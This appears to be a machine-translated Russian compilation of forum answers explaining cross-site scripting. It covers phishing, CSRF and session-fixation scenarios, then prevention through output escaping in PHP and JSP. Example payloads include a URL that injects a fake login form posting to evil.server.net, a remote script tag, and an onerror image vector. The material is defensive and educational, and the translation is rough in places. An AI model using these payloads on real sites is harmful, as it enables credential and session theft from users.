Какова общая концепция XSS?

Прямо вперед XSS

1. Я считаю, что у Google есть XSS-уязвимость.
2. Я пишу сценарий, который переписывает общедоступную страницу Google, чтобы она выглядела точно так же, как фактический логин в Google.
3. Моя поддельная страница отправляется на сторонний сервер, а затем перенаправляется обратно на реальную страницу.
4. Я получаю пароли учетных записей Google, пользователи не понимают, что произошло, Google не знает, что произошло.

XSS как платформа для CSRF (это предположительно действительно произошло)

1. Amazon имеет уязвимость CSRF, при которой файл cookie «всегда держать меня в системе» позволяет пометить запись как оскорбительную.
2. Я обнаружил XSS-уязвимость на сайте с высокой посещаемостью.
3. Я пишу код JavaScript, который просматривает URL-адреса, чтобы пометить все книги, написанные авторами-геями / лесбиянками на Amazon, как оскорбительные.
4. В Amazon они получают действительные запросы от реальных браузеров с настоящими файлами cookie auth. Все книги исчезают с сайта в мгновение ока.
5. Интернет чертовски ужасен.

XSS как платформа для атак Session Fixation

1. Я нахожу сайт электронной коммерции, который не сбрасывает свой сеанс после входа в систему (как любой сайт ASP.NET), имеет возможность передавать идентификатор сеанса через строку запроса или через файл cookie и сохраняет auth информация в сеансе (довольно часто).
2. Я обнаружил XSS-уязвимость на странице этого сайта.
3. Я пишу сценарий, который устанавливает идентификатор сеанса на тот, который я контролирую.
4. Кто-то попадает на эту страницу и попадает в мой сеанс.
5. Они входят в систему.
6. Теперь у меня есть возможность делать все, что я хочу, в том числе покупать продукты с сохраненными картами.

Эти трое самые большие. Проблема с атаками XSS, CSRF и Session Fixation заключается в том, что их очень и очень сложно отследить и исправить, и их действительно просто разрешить, особенно если разработчик мало о них знает.

Поскольку ответы о том, как XSS может быть вредоносным, уже даны, я отвечу только на следующий вопрос, оставшийся без ответа:

как я могу предотвратить появление XSS на моих веб-сайтах?

Что касается предотвращения XSS, вам нужно экранировать HTML любой управляемый пользователем ввод, когда они собираются повторно отобразить на странице. Сюда входят заголовки запроса, параметры запроса и любой сохраненный ввод, управляемый пользователем, который должен обслуживаться из базы данных. Особенно необходимо экранировать <, >, " и ', потому что это может исказить окружающий HTML-код, в котором этот ввод повторно отображается.

Практически любая технология представления предоставляет встроенные способы выхода из HTML (или XML, этого также достаточно), сущностей.

В PHP это можно сделать с помощью htmlspecialchars(). Например.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Если вам нужно также избежать одиночных кавычек с этим, вам нужно будет указать аргумент ENT_QUOTES, также см. Вышеупомянутую документацию PHP.

В JSP это можно сделать с помощью JSTL <c:out> < / a> или _9 _. Например.

<input name="foo" value="<c:out value="${param.foo}" />">

or

<input name="foo" value="${fn:escapeXml(param.foo)}">

Обратите внимание, что на самом деле вам не нужно выходить из XSS во время обработки запроса, а только во время обработки ответа. Экранирование во время обработки запроса не требуется, и оно может рано или поздно искажать вводимые пользователем данные (и, будучи администратором сайта, вы также хотели бы знать, о чем данный пользователь действительно вошел, так что при необходимости вы можете предпринимать социальные действия). Что касается SQL-инъекций, просто избегайте их только во время обработки запроса в момент, когда данные будут сохранены в базе данных.

Я не понимаю, как JS / VBscript может причинить столько вреда!

Ok. Предположим, у вас есть сайт, и он обслуживается с http://trusted.server.com/thesite. Допустим, на этом сайте есть окно поиска, и при поиске URL-адрес становится: http://trusted.server.com/thesite?query=somesearchstring.

Если сайт решает не обрабатывать строку поиска и выводит ее в результате, например, "Вы выполняете поиск" somesearchstring, не дало никаких результатов, тогда любой может внедрить произвольный HTML-код на сайт. Например:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Таким образом, в этом случае сайт послушно покажет поддельную форму входа на страницу результатов поиска, и, если пользователь отправит ее, он отправит данные на злой ненадежный сервер. Но пользователь этого не видит, особенно. если URL-адрес действительно длинный, они увидят только первое но и предположат, что имеют дело с trust.server.com.

Варианты этого включают внедрение тега <script>, который добавляет в документ обработчики событий для отслеживания действий пользователя или отправку файла cookie документа на злой сервер. Таким образом, вы можете надеяться натолкнуться на конфиденциальные данные, такие как логин, пароль или данные кредитной карты. Или вы можете попытаться вставить специально оформленный <iframe>, который занимает все окно клиента и обслуживает сайт, который выглядит как оригинал, но на самом деле происходит от evil.server.com. Пока пользователя обманом заставляют использовать внедренный контент вместо оригинала, безопасность оказывается под угрозой.

Этот тип XSS называется отражающим и непостоянным. Отражающий, потому что URL-адрес "отражается" непосредственно в ответе, и непостоянный, потому что фактический сайт не изменяется - он просто служит проходом. Обратите внимание, что что-то вроде https здесь не предлагает никакой защиты - сам сайт сломан, потому что он повторяет ввод пользователя через строку запроса.

Уловка теперь заключается в том, чтобы заставить ничего не подозревающих пользователей доверять любым ссылкам, которые вы им даете. Например, вы можете отправить им электронное письмо в формате HTML и добавить привлекательную ссылку, указывающую на поддельный URL-адрес. Или, возможно, вы можете распространить это на вики, форумах и т. Д. Я уверен, что вы понимаете, насколько это действительно просто - это просто ссылка, что может пойти не так, верно?

Иногда бывает и хуже. Некоторые сайты фактически хранят контент, предоставленный пользователями. Простой пример: комментарии в блоге или темы на форуме. Или это может быть более тонко: страница профиля пользователя в социальной сети. Если на этих страницах разрешен произвольный HTML, особенно. script, и этот предоставленный пользователем html сохраняется и воспроизводится, то риску подвергаются все, кто просто посещает страницу, содержащую этот контент. Это постоянный XSS. Теперь пользователям больше не нужно переходить по ссылке, достаточно просто посетить. Опять же, настоящая атака заключается в изменении страницы с помощью сценария для захвата пользовательских данных.

Внедрение скрипта может быть грубым, например, можно вставить полный <script src="http://evil.server.net/script.js"> или может быть незаметным: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

Что касается того, как защитить себя: главное никогда не выводить пользовательский ввод. Это может быть сложно, если ваш сайт основан на пользовательском контенте с разметкой.

Представьте себе веб-форум. XSS-атака может заключаться в том, что я публикую пост с каким-то javascript. Когда вы переходите на страницу, ваша веб-страница будет загружать и запускать js и делать то, что я говорю. Поскольку вы перешли на страницу и, скорее всего, вошли в систему, мой javascript будет делать все, что у вас есть, например, создавать сообщения, удалять их, вставлять спам, показывать всплывающие окна и т. Д.

Итак, настоящая концепция XSS - это сценарий, выполняемый в вашем пользовательском контексте, что является повышением привилегий. Вы должны быть осторожны, чтобы в любом месте вашего приложения, которое получает пользовательский ввод, ускользало от любых скриптов и т. Д. Внутри него, чтобы гарантировать невозможность выполнения XSS.

Вы должны остерегаться вторичных атак. Представьте, если я вставлю вредоносный скрипт в свое имя пользователя. Это может войти на веб-сайт без отметки, а затем записаться обратно без отметки, но тогда любая страница, просматриваемая с моим именем пользователя, фактически выполнит вредоносный скрипт в вашем пользовательском контексте.

Экранировать ввод пользователя. Не накручивайте свой код, чтобы сделать это. Проверьте все, что входит, и все, что выходит.

Проблемы XSS-атак больше связаны с рыбной ловлей. Проблема в том, что на сайт, которому доверяет клиент, может быть внедрен код, который ведет на сайт, созданный злоумышленником с определенной целью. Например, кража конфиденциальной информации.

Таким образом, в XSS-атаках злоумышленники не попадают в вашу базу данных и не связываются с ней. Он играет с чувством клиента, что этот сайт безопасен и каждая ссылка на нем указывает на безопасное место.

Это лишь первый шаг настоящей атаки - вовлечь клиента во враждебную среду.

Приведу краткий пример. Если, например, банковское учреждение размещает на своей странице чат-бокс и они не защищают меня от XSS-атак, я могу крикнуть: «Привет, зайдите по этой ссылке и введите свои пароли и номер кредитной карты для проверки безопасности!» ... А вы ведь знаете, куда ведет эта ссылка?

Вы можете предотвратить XSS-атаки, убедившись, что на вашей странице не отображается ничего, что поступает от ввода пользователя без экранирования тегов html. Специальные символы должны быть экранированы, чтобы они не мешали разметке ваших html-страниц (или какой-либо другой технологии, которую вы используете). Есть много библиотек, которые обеспечивают это, включая библиотеку Microsoft AntiXSS.